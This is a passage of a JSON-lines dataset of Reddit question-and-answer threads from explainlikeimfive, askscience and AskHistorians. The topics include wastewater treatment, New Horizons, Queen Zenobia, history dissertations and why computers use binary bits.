solidified fat, etcetera.\n\n\nNext stop is a settling tank. Up until now, we've kept the water moving pretty quickly to keep suspended particles suspended. At the settling tank the water is slowed down drastically, and in this particular tank skimmers push across the top to move away floating solids and skimmers push along the bottom to push away sinking solids.\n\n\nAfter this the water spends awhile coursing a circuitous path through an aeration tank where natural aerobic bacteria eats a lot of the biological components as well as the majority of the dangerous pathogens. Now it's going to take a run through a different style of settling tank, this one is shaped like a cone. And the goal is to skim the foam off the top and the sludge off the bottom, both of which are by products of the organisms. After this we pass it through a large sand filter where any final parts should be strained out.\n\n\nLast but not least, it is heavily chlorinated and then it is shot down a channel to be both aerated and released into a stream.\n\n\nThis system is designed to handle around five million gallons of water a day. It can handle 7 for a little while if it's necessary. On days with extreme weather, the system gets 14 million gallons. All of the excess overflows the tanks and is released directly into the river.\n\n\nNow, my county gets their water from groundwater via deep wells. However, the neighboring county gets their water from a water collection point in the middle of a large lake that happens to be not too far away from the outlet of that small stream mentioned earlier.\n\n\nNow I am not as knowledgeable about clean water as wastewater, but it's not really that much different. With wastewater we're collecting human waste and getting it clean enough to dump into nature. With clean water we are collecting water from nature and getting it clean enough to push into humans homes.\n\n\nOur water is well water, so there's the degree to which we depend on the natural filtration of the Earth, but basically water is pumped out of the ground and into large tanks, it gets filtered a little bit, it gets chemicals added, it gets softened and hardened as necessary and then it gets stored.\n\n\nSo, do you ever drink someone's urine? No. Is there a pretty good chance that you are consuming water that in some way shape or form left the human body as a bodily fluid? Yes. If you live in a community that depends on glacial runoff the percentage is much lower than if you live in a community that depends on river water.", "Mostly its not directly. Your waste is treated to remove most solid matter and harmful things and then discharged into downstream rivers, oceans etc. This water is not safe to drink, but is a lot better than it was untreated. This gets naturally diluted and is further 'treated' by natural processes in the oceans etc\n\nThe water you drink is generally from cleaner sources further upstream. Its quite possible you have drunk the same water molecules twice, but usually only because the water you drank has evaporated from the ocean and rained down again in-land.", "Water from your drains and toilet go to a processing plant that removes most solid waste, some chemicals and bacteria. The water is then kind-of clean and sent out to a river / sea / lake.  \n\nThe water in your tap comes from a water tower, which is fed from a resivior, which is fed from a lake, river or natural spring. And the lake or river could have a tiny bit of water from a processing plant.", "There is a whole process for cleaning waste water. It takes about 2 days for water that come into your local WWTP to discharge into a river. The effluent water is NOT drinkable (non potable) . Multiple processes and a lot of chemistry goes into cleaning water.", "All water can and will eventually become drinking water for some one. Every drop of water you've ever drank has very likely already been drank and pissed out by countless numbers of living things over the millennia."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2a4dsn", "title": "why do couples so often experience a decrease in sex drive shortly after marriage?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2a4dsn/eli5why_do_couples_so_often_experience_a_decrease/", "answers": {"a_id": ["cirdo13", "cirf64h", "cirgqj8", "cirkeyl", "cirkxek"], "score": [21, 2, 6, 2, 3], "text": ["There isn't one good answer for that because for one, it isn't the same with each couple and two because it doesn't necessarily always happen. \n\nOne common reason though is simply time. A married couple will most likely spend their days working and by the time the day is done, sleep sounds like a much better idea than sex. \n\nAnother reason is that after a while, a couple's sex life tends to become a little bit boring. When you first start having sex, you're both willing to try different positions and other stuff to please yourself and your partner. After a while, you figure out what works and it becomes more relaxed and not as exciting. \n\nThird, as you get older, your libido drops simply because that's how your body works.\n\nBut really, tons of married couples still have plenty of sex drive, but they often have to actively \"spice things up\" to keep their libidos up and continue to make sex exciting.", "You ever wanted something as a kid real bad like a toy or video game and then once you got it you soon became bored? Same thing happens with sex. When you cant have it all the time and when its not guaranteed you want it bad almost like an addiction. Once you have an all you can eat buffet of it though it isn't uncommon for people to have less of it or to want to try and spice it up with new things to spice it up because it's boring now and doesn't excite them like it used to. Then sex can become more of a hassle then something that they are dying to do.", "\"Great, I can never fuck another person again... I'm depressed about that. Fuck marriage.\"", "This isn't directly related to marriage but I'm surprised no one has mentioned the [Coolidge effect](_URL_0_). Basically, all mammals get bored of having the same partners. Interestingly, the Coolidge effect is \"reset\" in couples that break up, have other partners, and then get back together. ", "Children. Nothing in life is better than babies, but they are very hard on your sex life."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.m.wikipedia.org/wiki/Coolidge_effect"], []]}
{"q_id": "3d5mtk", "title": "Are there any follow up missions planned for New Horizons?", "selftext": "Are there instruments on board of the New Horizons probe which make the probe useful for deep space exploration? If so what are the objectives and possible duration?  \nAnd is there a plague like in the Voyager/Pioneer probes?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3d5mtk/are_there_any_follow_up_missions_planned_for_new/", "answers": {"a_id": ["ct231xn"], "score": [5], "text": ["After Pluto, the plan is to get New Horizons to fly by a Kuiper Belt object.  There are currently [three possibilities](_URL_0_), all quite small compared to Pluto, and further data will determine what is actually possible to visit.\n\nBeyond that, there is the chance for a continued mission, though New Horizons does not have enough power to get as far as the Voyager spacecraft are now.  [This webpage](_URL_1_) makes reference to the possibility of a post-Kuiper Belt mission, and offers its own thoughts on what might be done (note that this is not from NASA):\n\n > Alan Stern, principal investigator for New Horizons, comments on the possibility in his latest report on the mission, noting that a second extended mission isn\u2019t out of the question, and adding that New Horizons won\u2019t make it as far as the Voyagers before it runs out of power. But 90 to 100 AU seems a possibility, which would provide a useful supplement to Voyager data. Remember that New Horizons carries two instruments ideal for this part of the system. The first is the Solar Wind Around Pluto (SWAP) plasma instrument, the second the Pluto Energetic Particle Spectrometer Science Investigation (PEPSSI). All this is in addition to what the spacecraft\u2019s dust counter, its two imagers and its ultraviolet spectrometer may tell us.\n\nYou can read about the apparatus on New Horizons [here](_URL_2_).\n\nFinally, there is no plaque or record on New Horizons, but there is an initiative to [upload a message](_URL_3_) to the spacecraft after its encounter with Pluto.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://science.nasa.gov/science-news/science-at-nasa/2014/16oct_kbos/", "http://www.centauri-dreams.org/?p=22863", "http://pluto.jhuapl.edu/Mission/Spacecraft/Payload.php", "http://www.planetary.org/blogs/guest-blogs/2015/0424-new-horizons-one-earth-message.html?referrer=https://www.google.com/"]]}
{"q_id": "bmal1e", "title": "What did Queen Zenobia look like?", "selftext": "Hello fellow historians!\n\nI am looking to see what kind of historical basis we have (if any) for the physical appearance of Queen Zenobia?\n\nI've only found coins cast with her image on them, with Juno on the reverse, and some imagery of Odaenathus.\n\nAre there written records decribing her that were made at the time or based on credible sources? If we don't have any physical imagery at all made at that time, can we surmise why that is? For example: is it because of her ruling through first her husband then her son, is it Roman historian's bias against recording the influences of women, or lost from the many sacks and massive losses in Palmyra?\n\nBonus questions: \n\n\\- How did the imagery traditions of the Palmyrenes differ at the time from the Romans? Was it similar to what we saw later with a focus on 2d, mosaic, and representative imagery as opposed to realistic imagery?\n\n\\- Where is best for me to go to start learning about Palmyra and Zenobia, either in public or academic sources? (I have access through my university, but my only language at the moment is English which is limiting)\n\nThanks everyone!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bmal1e/what_did_queen_zenobia_look_like/", "answers": {"a_id": ["er3zmmu"], "score": [5], "text": ["Queen Zenobia is one of my all-time favorite badass historical figures.  Unfortunately, the only written source on her appearance comes from a short anecdote from the notoriously unreliable (but still entertainingly ahistorical) Historia Augusta, written several decades after her death:\n\n > *Her face was dark and of a swarthy hue, her eyes were black and powerful beyond the usual wont, her spirit divinely great, and her beauty incredible. So white were her teeth that many thought that she had pearls in place of teeth.\u00a0Her voice was clear and like that of a man. Her sternness, when necessity demanded, was that of a tyrant, her clemency, when her sense of right called for it, that of a good emperor. Generous with prudence, she conserved her treasures beyond the wont of women.*\n\n & #x200B;\n\nKeep in mind that by \"dark,\" I assume the author wouldn't mean it in our modern since, but rather what the Romans would've considered \"dark,\" which might be more akin to what the modern Middle Easterner might look like. And personally, I take that when he says her voice was \"like that of a man,\" the author really meant to say that she was more outspoken and stern than would be expected of women at that time, but that's just me.\n\nAs for Palmyrene imagery, Palmyrene art and society in general was quite unique. The whole vibe of the place was like a mesh of Greek, Roman, and Parthian all in one. Its funerary imagery is among the most abundant of the ancient world, with over 1,000 reliefs and statues excavated since its rediscovery in the 17th century. Typically, the portraits show citizens with stoic, calm faces, lying on dining couches. The women wear jeweled turbans and long gowns, while the men don the Greek chiton and baggy Parthian trousers.\n\nAlso, in response to the coinage you mentioned, keep in mind that in ancient times coinage was very idealized and might not have accurately represented what she actually looked like. She claimed descent from another prominent Syrian, Julia Domna, and since the distinctive hair that the Queen wears on the coins is almost identical to that of the former, it can be assumed that she intentionally portrayed herself in a similar way to an empress of Rome to add validity to her rebellion.\n\nTo start learning more about her, I highly recommend Pat Southern's *Empress Zenobia: Palmyra's Rebel Queen*. Not only does it squeeze what little accurate sources we have, but delves into the greater Crisis of the Third Century which produced the likes of Queen Zenobia. While you can also read the accounts of Zonoras and Zosimus, which are slightly more accurate than the Historia Augusta, I'd still take them with a grain of salt, as they were written well after the Queen's life."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4nzkgs", "title": "what does the newly announced reddit changes mean and why is the_donald freaking out?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4nzkgs/eli5what_does_the_newly_announced_reddit_changes/", "answers": {"a_id": ["d48bm17", "d48brpr"], "score": [5, 2], "text": ["It's because they're changing the way /r/all is setup so their shitposting circlejerking propaganda will be a lot less visible.", "I imagine you got this message after you posted this: \"You have been band from r/The_Donald\" They ban you faster than r/news"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "d2uktz", "title": "Why is it that when you dig a hole and put some water in it it disappears, but it doesn\u2019t do the same with ponds?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/d2uktz/why_is_it_that_when_you_dig_a_hole_and_put_some/", "answers": {"a_id": ["ezy0tf2", "f040u6b"], "score": [45, 3], "text": ["It does do that with ponds. If you keep filling your hole with water, you will eventually saturate the soil in the area and it will start to fill. Just like when it rains and doesn\u2019t flood, the total amount of water matters. If there is a long dry period the pond will dry up, and hosing the area down will have the same result as your small hole until it enough water is present to saturate the soil again.", "Ponds, lakes, rivers are all the water table at the surface.  Go to the beach and dig a hole.  When you reach the level of the sea your hole will get water in it   The hole does not fill, it remains at the sea level - the water table."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "36qt41", "title": "Question about undergraduate history dissertations", "selftext": "Apologies in advance if this is an inappropriate question for this subreddit.\n\nHey there. I'm currently in the process of thinking about the focus of a 12k word history dissertation which I'll need to be completing next academic year and am finding the whole task a little daunting. Hopefully users on this subreddit will be able to help...\n\nFor starters, how 'original' does it have to be? I understand that a dissertation is not like an essay in the sense that I am not simply synthesizing secondary materials, but does my focus have to be upon virtually untrodden ground?\n\nAlso, what's the best way of finding a collection of sources to form the foundation of a dissertation? I have a feeling I'm approaching this step poorly, since nothing I find is really catching my eye...\n\nThanks guys.\n\n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/36qt41/question_about_undergraduate_history_dissertations/", "answers": {"a_id": ["crg9hyp", "crgc9ix", "crgewfh"], "score": [9, 3, 3], "text": [" > Also, what's the best way of finding a collection of sources to form the foundation of a dissertation?\n\nThe method I like is to find the big sources for your general topic.  For the Spanish Civil War you'd grab Beevor, Preston, Thomas, and Payne.  Let's say the Battle of Guadalajara jumps out at you in your first read-through of Beevor.  Pay attention to his footnotes on that section.  Find them yourself.  Now do the same with the other three authors, reading their sections on the battle and mining their footnotes.  You should probably have a handful of new sources (or even a bunch of new sources) to find.  You should also have a bunch of names of people involved in the battle as well.  Do any of them have memoirs or biographies?  What about the groups they were members of?  Look for newspaper mentions of the battle and the people, too.\n\nBasically, each source has threads that connect them to other sources.  Footnotes and bibliographies are the easy targets for you to go after.  Other threads can be found by following names and groups.  Keep pulling threads until you have the sources you want (or perhaps more importantly for an undergraduate, until you have the sources your professor wants you to have).", "\"For starters, how 'original' does it have to be?\"\n\nDoesn't have to be original at all I don't think. I once had it described to me that undergrads cover existing work, a masters takes you to the border of current knowledge and doctorates are supposed to cover new ground. I personally did my dissertation on a subject that was relatively untrodden. The upside was that it was interesting and stood out from the others, the downside was finding enough material and sources. Always take into account how much material you can get your hands on and which dissertation supervisor you would like before you make your choice. I went for a topic with few sources, but had a great supervisor, so it turned out alright.  \n\n", "The head of my undergraduate department explicitly said to everyone writing theses, \"It doesn't have to be totally new, but it has to be new for you.\" I think that's general good advice for undergrad theses. \n\nI ended up going to her with a list of like 12 different topics (I only remember a couple), and having her help me pick which ones were actually feasible to do in the amount of time I had. We all used primary sources, but they were very different sets of primary sources. One woman basically just used Eusebius's *Life of Constantine* and one or two other primary sources (plus a lot of secondary literature) to discuss the Christian elements of Constantine's death . One woman wrote about the Book of Job. One woman used ethnographic accounts to try to figure out pre-contact Native Alaskan rituals. My primary sources were encyclopedia articles (I was tracking how rosaries were discussed between the 18th century and now to measure anti-Catholicism as based on existing theories). There were several others. Some of them could have been published with some work, some of them probably weren't that original in a global sense. The one who wrote on Constantine's death won our department's AB thesis award, and she had very little original in her primary sources, but did a great job dealing with a vast secondary literature (since this is a very well trod area) and making an original, synthetic argument (I think at least--it was almost a decade ago; she definitely won the award).\n\nIf you insist on looking at new primary sources, are you at a research university? See what's in their special collections. See what's on microfilm and microfiche. One of my colleagues did his PhD dissertation on life in late Ottoman Anatolia and the majority of his primary sources were missionary documents (from the ABCFM). There are extensive documents on everywhere they had missions and these collections are widely available on either microfilm or microfiche (I forget which). There are tons of primary source collections like that. Newspaper reports (your library presumably has access to pro-quest, etc) are another great way to study events. Anne Helen Peterson has done very interesting cultural history, for example, on early Hollywood gossip magazines. Local historical societies and the town library also certainly have primary source documents if you want to write local histories. I worked in my town archives and discovered how my home town finally got its two traffic lights, for example, or how the big families in town left their mark by naming lots of things. Great social history has just been done using local county probate records.  I'm not a narrative historian so I don't fetishize finding new documents in quite the same way as my colleagues (the historian who used the ABCFM documents was married to a fellow sociologist, and she said to me, after he was bummed out at not finding anything good after a year of searching in the Ottoman Archives, \"I don't get why historians are so obsessed with finding new documents that no historian has ever looked at before. As if there's only one way to understand a document.\") There are also extensive letter collections (I did a literary history primarily using Tolkein's letters at one point), as well as translated collections of primary sources (all the early non-Muslim accounts of the initial Arab Conquests are collected in Hoyland's *Seeing Islam as Others Saw It*). \n\nThere are a lot of things. I would suggest coming up with a list of topics that could interest you, rather than looking at what documents you might have access to (but by all means, look what's easily available in your university's library, your town, your county, etc). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "9t52y8", "title": "why were bits the powers of 2 and not something like 10?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9t52y8/eli5_why_were_bits_the_powers_of_2_and_not/", "answers": {"a_id": ["e8tpmt2", "e8tpoe5", "e8tr1wk", "e8trhuv", "e8twgoe", "e8tzii1", "e8u080p", "e8u0w3c", "e8u0xeo", "e8u1nii", "e8u1wk7", "e8u4mxy", "e8u4u7r", "e8u5t5v", "e8u5y3p", "e8u6sjh", "e8u7qkl", "e8u871z", "e8u9fi1", "e8uc8o3", "e8ud3ak", "e8ufzgb", "e8uhp7t", "e8uhx1t", "e8uidwj", "e8uob9v", "e8uoumb", "e8upc6h", "e8upv2o", "e8uvfzl", "e8v76la"], "score": [11, 28, 5425, 3, 3, 13, 40, 127, 4, 2, 7, 3, 131, 2, 63, 2, 3, 4, 6, 5, 3, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2], "text": ["A bit has two states, 0 or 1. If it had 10 states, like a numeral (0-9), then it would operate on powers of 10. But it doesn't.", "Because the power of ten requires 10 different ways we can view something. The power of 2 (base 2) is represented as either on (1) or off (0).  Also, it isn't necessarily the power of 2.  It is just in base 2.  The difference being that in base 10( or numbering system) 9 is... well 9. But in base 2, it requires 1x2^3 +0x2^2+0x2^1+1x2^0, or 1001. Hopefully that makes sense. ", "The top comments explain what a bit is, but not why it is base 2, and not some other arbitrary number. In transistors, the power is either on or off. 1 or 0. In order to have a 3 bit or greater computing system, you would need to measure *how much* electrical charge the transistor holds, as opposed to whether or not it has a charge. While that in and of itself wouldn\u2019t be too difficult, as transistors degrade overtime, those partial electrical charges (that you\u2019d need to accurately measure to determine what value it holds), would become inaccurate. It\u2019s much easier to read on/off, than try and read partial electrical charges. \n\nEDIT: as several comments have pointed out, it is not simply on or off, but low charge and high charge. Think of a full cup of water. It might not be 100% full to the brim, but you can still call it full. This is on.\n\nNow dump out the water. There are still some drops and dribbles of water, however you can say for all intents and purposes that the cup is empty (off). Yes, there\u2019s still some \u201ccharge\u201d in there, but for our purposes, we can call that empty. ", "Using bits make power of two appears by itself!\n\nLet's count on one hand, each finger is a bit, closed is 0 and opened is 1. Did you know you can count up to 31 with a single hand if you do it like a computer?\n\nHow that work? Well, when you add one, you always add it to the thumb, if the thumb is already 1, it closes and you carry to the index. If the index was also already one, it closes too and you carry to the major. Etc... until you reach the little finger. You get stuck when all the digits are 1 (because then all your digit would close and you would have to carry to the other hand).\n\nStart with all your digit closed, that is 0.\nNow open your thumb, that is 1.\nNext you close the thumb, and open the index, that is 2.\nThen you open your thumb again (the index stay open too) that is 3.\nThen you close both the thumb and the index, and open the major (yes, that one is fun) that is 4.\nThen open the thumb, that is 5.\nEtc...\n\nYou will see that the more you progress, the more time you need to carry to the next finger, and it start back.\n\nWell, 5 fingers you can do 0 to 31. 6 fingers is 0 to 63. 7 fingers is 0 to 127. Etc... You see the pattern?\n\nWith two hands you can count to 1023! And if you are super flexible (I'm not) you could count up to 65,535 with your two hands and your feet.", "Base 2 is in a way the most natural to use. To skip the part with engineering, a bit basically amounts to one answer to a yes/no question. It's the smallest single piece of information you can have. You can't have yes/maybe question or something like that.\n\nOn the other hand, you could have more information. Like, one answer to a question which has three possible answers. But we don't even have a good way to talk about such a question, like we do with yes/no questions. Like, what are the three options? Sure you can think of some, like if you ask about numbers, more than 0, less than 0 or exactly 0 could work. But you should notice that this immediately feels a lot more awkward than a simple \"yes or no\" question.\n\nI don't really know why engineers mostly seem to make things that have two possible states(SSDs notably use base 4 internally though), but I guess at least partially it's because base-2 is so natural for computing and information.", "It's easier to determine if a voltage or signal is 'on' or 'off' as opposed to having to give it a specific value", "The top comment right now talks about how reading an on/off voltage is easier. Another reason is because mathematical systems for base 2 math is really easy. We know that 5 + 2 = 7. In binary, that is 101 + 10 = 111. Subtracting is just adding with a neat trick called the two\u2019s complement. Multiplying is also fairly simple. If we wanted 2 x 5 = 10, in binary that is 10 x 101 = 1010. This works by adding 10x1 + 100x0 + 1000x1 = 1010. This is shifting the two (10) over one spot every time and seeing if there is a one or a zero in that spot for the five (101). Dividing is more of a guess and check system that resembles converting from base(10) to base(2). \n\nIf you skipped over the previous paragraph, it just talked about why it is easy to do math with binary. These are easy to implement mechanically like the first computers and can be done with dominoes! (Look up domino calculator). ", "Okay, something everybody is missing is that sure, bits are on-off voltages.  So, really just fast switches.  But the reason is how we build computer logic.\n\nThe basis for all logic circuits is the NAND operator.  It turns out with just NANDs, you can do all other binary logic operators.   NAND is Not-AND, so if the two inputs are on the output is off, otherwise the output is on.  In other words, binary logic produces binary results.  You can feed the result into another NAND operator.  And because you can make any operation out of just NAND operators, it means you can use just billions of copies of the one tool, and do everything you want with it.\n\nNow, think of base 10..  adding a digit of 0-9 (say 9 voltages), to another digit, you can get 19 results (0-18) that you would need to test for.  How can you feed that into another similar addition operator?\n\nEdit:  inputs need to be on for NAND, not the same, sometimes my brain doesn't know what my hands are typing.  \"P", "A digital input/output in theory is typically:  \n0 volts = 0  \n5 volts = 1  \n\nIn reality the output of a chip pin is never going to be exactly 0 or 5 volts though.  The technical specs will dictate what thresholds are allowed, they will look something like:  \n0-1.2V = 0  \n1.2-2.5V = invalid  \n2.5-5V = 1  \n\nPin outputs can vary wildly within these ranges.\n\nNow imagine doing that with 10 different voltage levels.  You would need some complex circuitry to manage 10 levels of tiny thresholds just to use a different number base.", "Because 2 is the smallest number that you can use for the base.\n\nIf you try to use 1 for the base, each bit is the same state and so the only information is the number of bits. However, computers use a fixed number of bits, so this doesn't work well.\n\nOn the other hand, the more states there are, the easier it is for one state to be mistaken for another. It's true that many-state bits could represent large numbers with fewer bits, but the hardware for those bits would be more complicated and it turns out that that trade off isn't worth it. Imagine that you put a ton of effort into making a 16-state bit. Your hardware would probably be vastly more complicated, expensive, and unreliable, but it would only store four times as much data, as a single 16-state bit is equivalent to four normal bits.\n\nSo for what base we should use we're left with the smallest number greater than 1, which is 2.", "There's a PBS documentary somewhere where some of the first guys to put together a computer, like the ENIAC guys or something went down to buy some vacuum tubes and the dude selling them was like \"Which kind you want?\n\n\"Which kinds you got!?\" \n\n\"Well we got some with 2 states and some with 5 and some with 7 and some with 10 and...\"\n\n\"Oh well the 10-state tubes sound the most straightforward. Probably gonna need a few thousand.\"\n\n\"The 10-state tubes are five dollars each.\"\n\n\"Holy shit! How much are the two-state tubes?\"\n\n\"Thirty cents.\"\n\n\"We'll take a thousand.\"\n\nThis is an **actual** story, possibly true, I saw on a history of computing documentary on PBS. If true, I believe this is the real answer regarding why binary and not base-10.", "It's *not* always 2-value.\n\nThe x87 used 4-value cells for the ROM. Most SSDs use 4-value, 8-value, or even 16-value cells. Other N-value cells would be possible but would require more math.\n\nHDLs typically have about 9 different values, but only some subset of them are ever meaningful at a given point.", "ELYA5:  Its easier to tell whether a light bulb is on or off (base 2) than it is to tell how bright it is (base 3+).  For each bit there's either something there (1) or there isn't (0).  \n\nImagine you're filing out a paper form.  You write 6 in one of the boxes but it gets mistaken for 8.  The 'check all that apply' boxes don't have this problem because you could mark them in any way (X, \u2714, etc.) since you're only checking if there's something in the checkbox or not.  As the paper gets worn out, your writing gets illegible but it's still easy to tell whether a checkbox is marked.", "Because computers run on switches. Switches can either be on or off hence 2 configurations. This is why it's in powers of 2 \n\n", "Well, a bit is specifically a Binary Integer. By definition a bit has only two possible states. If we did not use binary integers to represent information in our computers, then we likely would not refer to information in terms of bits so often. There were many experiments for using different schemes to store information, like bi-quinary and balanced ternary, for example.\n\nIf you want to know why we settled on bits, well, that's a long and convoluted story, and I'd be surprised if anyone knew most of the details. The two most important parts of it, however, involve two men: George Boole and Claude Shannon.\n\n1. George Boole's work on Boolean Algebra gave us a robust way to simplify complicated ideas into webs of yes/no questions. Answer the initial questions with whatever yes/no data you have, follow the results to each subsequent question, and at the end you'll have some answer.\n\n2. Claude Shannon realized that evaluating Boolean expressions could be automated with relay switches, the electro-mechanical devices telecoms used to make sure signals got where they needed to go. Shannon's insight paved the way for the development of modern computing hardware by showing us that Boolean Algebra was a good and flexible model for automated computing.\n\nAnd as time passed bits won out over more exotic representations of information because Boolean Algebra was a more mature field. More work had been done on it, and more people knew how to reason about it.", "Mechanical calculators used to be decimal. It's convenient: not only you see the numbers in usual form, but you only need to spin 2 numbered wheels to cover all the numbers from 0 to 99.\n\nWith binary digits, you would need 7 wheels only for that numbers. \n\nWith mechanics, the less moving parts you have - the better. But with electronics, it's ok to have more parts, as soon as the single part is simple. 0-1 bit is just the simplest \"electronic wheel\" we can get. If we could make it even simpler, we probably would.", "See the light switches in your house ? They are either on or off.\nComputers are made of billions of microscopic switches, call transistors, that can only have two states: on or off. Hence binary. ", "You can have decimal computers.\n\nOne of the early computers used decimal. This was because it was designed to recreate the functionality of a mechanical calculator that also used decimal. It still works and is at the national computing museum at Bletchley Park (the place famous for wartime decoding) \n\n_URL_0_\n\nTo use decimal it used valves called [dekatrons](_URL_1_) which could handle the 10 states. These were used in telephone exchanges too, to store dialed digits.\n\nThe reason most computers are binary and thus work well with powers of 2 is simply because transistors working with 2 states, high or low voltage, on or off, etc is easy to do and scale (both up and down)\n\nHowever, the notion of a 'bit' also has a place in information theory, as being the smallest amount of information. The work of Shannon is key to this concept. To represent powers of 10 a computer would need more than 1 bit, but equally bits would go to waste because 3 bits can only represent 8 different states, not enough for decimal, but 4 bits can represent 16 different states.\n\nThus, instead of losing 6 states, computing pioneers adopted hexadecimal, base 16, using the letters A-F alongside the digits 0-9 to represent numbers at a higher abstraction than base 2.\n\nSo, although it's stated that computers use base 2, for the most part low level programming and programmers are typically working with base 16. Although octal had its place for a while and there are some aspects where you're thinking about things in binary or whether individual bits are set or not.\n\nOf course, once you start writing layers of software that humans interact with there are numerous places where we convert a base 2 representation to a base 10 representation. At which point, there's very little need or point to fretting about how numbers are represented by the processor, or stored in ram, or stored on the disk - the latter, for example doesn't store the digits in the same way that RAM would - because long strings of 000000 are difficult to determine and we also add in a bunch of error correction. Same with the way that data is transmitted over wires or wireless. Techniques to compress data also mean that what signals are actually sent differ from those a higher level program would \"see\".", "It seems like most of these are pragmatic engineering answers, but thinking of bits in purely in terms of physical computers is a mistake. A bit is an abstract entity. A bit has two states, because it makes sense as a fundamental unit of information.\n\nSuppose I want to send you a message of a fixed length. I could use decimal digits to transmit the information. The first digit I send you is a 7, eliminating nine tenths of the remaining possibilities of what the message could be. What about base-5 digits? Each digit narrows the possibilities down by four fifths. Using bits cuts the possibilities in half. What if I'm sending you unary digits? In that case, I can't send you any information, since there's only one message of any given length, and you already know what it is (namely, \"1111...1\"). \n\nWe use bits because the most fundamental unit of information is the one that cuts the possibility space in half, or equivalently, answers a yes or no question. It's useful to think about the act of downloading a movie as a couple of computers playing 20 gigaquestions. After the downloading computer has asked that many questions, it knows what movie the server was talking about.", "Think of bits like light-switches. They're on, or off.\n\nA byte is basically just the \"configuration\" of a row of eight light-switches, 0 being off and 1 being on. \n\n", "Top comments are doing a good job explaining, but I think they\u2019re missing the \u201c5\u201d part of ELI5, so here goes:\n\nBinary has *yes* and *no*, which are fast and easy to understand and pass down the line.\n\nDecimal has *yes*, *no*, and eight types of *maybe*, which takes more effort to figure out before you can pass it down the line. \n\nSometimes, though, if you really want to pass along fine details, you can use an analog signal (lots of maybes) instead of a digital signal (all yes and no), but you need specially designed parts to do it. ", "Most of the answers relate to computers, electric circuits, transistors and so on, but there is a simpler and more important explanation.\n\n & #x200B;\n\nThink of 'bit' as a 'basic unit of information'. Bit is smallest possible distinction in description of something. Suppose you have a pile of stuff. Simplest way you can organise it is to divide it in two parts. To describe particular item in this pile you need 1 bit of information: is it in first part or in the second.\n\n & #x200B;\n\nSo, bit is just natural thing \u2014\u00a0smallest amount of information, representation of duality. X or not X. It manifests itself in physics, signal processing, mathematics  &  other natural sciences.", "Not really \u201cpowers\u201d of two, but rather, base 2.\n\nA base 10 bit can have any of 10 numbers, i.e., 0 thru 9. \n\nA base 2 bit can have any of two numbers, i.e., 0 and 1. This is convenient for a machine. 0 is off and 1 is on. Each clock cycle, all the machine needs to do is figure out the \u201cstate\u201d of the bit - on or off.\n\nNow, we can build on that simple on-off concept using base 2. Everything starts from 0. So, a single bit starts at 0. It is given the value 2^0. That\u2019s the first, box, if you will.\n\nAs we all know, any non-zero number raised to 0 equals 1. So, a single bit box, because it starts at 0 will either be interpreted by the CPU as either 1 if the box has a 1 in it or is \u201con\u201dand will be 0 if the box is \u201coff\u201d during the clock cycle (the CPU reads data at regular intervals).\n\nAgain, you can further build on this concept since you\u2019ll likely have to use numbers that have more digits. You can put two boxes together. That means you have a 2^0 box and a 2^1 box. The ^0 box value would be added to the ^1 box value. 2^1 is 2 so you know have 1 an 2 to work with. If you string eight boxes together, 2^0... 2^7, you can make all sorts of numbers by just turning the boxes on of off and adding the values of the \u201con\u201d boxes. \n\nEight boxes, or bits, make a byte. 16 bits can give you even larger numbers... 32, 64, larger still. But, with larger bit values, comes larger computing requirements since the machine needs to store those values somewhere while checking the contents.", "Choices are analogue (an infinite number of outputs) or digital (on and off/two outputs).  Computers are digital, only on/off, so bits are to the power of two.", "It is because you need to actually build it.\nIdeally, maybe computers could have been based off base 10.\n\nHow do you get something to show a value?\n\nThink of a water faucet.\nTo represent base 2, you need 2 states (0,1).\nYou can represent that with 0=water off, 1=water flowing.\nPretty straight forward and not much room for error.\n\nCan you use a water faucet to represent base 10? You'd need 10 states (0,1,2,3,4,5,6,7,8,9)\nHow do you do that?\n0=water off, 1=water flowing at 1 liter/min, 2=water flowing at 2 l/min....9=water flowing at 9/min\n\nCan you tell just from looking at a faucet how much water is flowing like that? Probably not.\nYou'd need to build something complex to measure the flow of water and it just gets complex.\n\nThat's basically what happens with a computer. They use transistors. It's very easy to tell if electricity is flowing or not flowing. Just like water. So it is base 2.\n\n", "Because three on/off switches are simpler than one off/slightly on/a little more on/half on/more than that on/mostly on/almost all on/completely on switch.", "Super late but I wanted to point out that in early computer usage we did experiment with base 3 and base 5 systems to try to pump more bits through. The problem was if the current or magnetic field became unreliable, data got corrupted or the wrong number got sent. We found that binary was the safest alternative because then as long as even a minut amount of current went through we could still register it as true.", "Before hexadecimal ( base 16, 4 binary bits) per digit became almost standard, minicomputers use different number based. The PDP 8 uses 3 binary bits per digit, for a base 8. These digits were contained in words or bytes, dependent on the number of digits per word on the parallel CPU to memory bus. A 32 bit CPU has 2 to the 32 possible addresses, while a 64 bit cpu has 2 to the 64 unique addressable locations. \n\nI worked on the old PDP8, PDP 11, PDP9, PDP 12s with 8k of core memory, paper tapes and teletypes. It was fun to be able to troubleshoot a system to the component level by toggling in machine code with switches on the front panel, to see what worked and what did not. Especially on big robot machines where the error symptom was it smashing into pieces the part it was supposed to be making, all because it misread one dot on the paper tape that programmed it. ", "I have i feeling that OP wanted to ask why BYTES (not bits) are power of two as in 8 bit, 16 bit, 32 bit rather than 10 bit, 20 bit, 40 bit etc... I really think that was his question, not why bits have two states", "Many comments talk about the physical 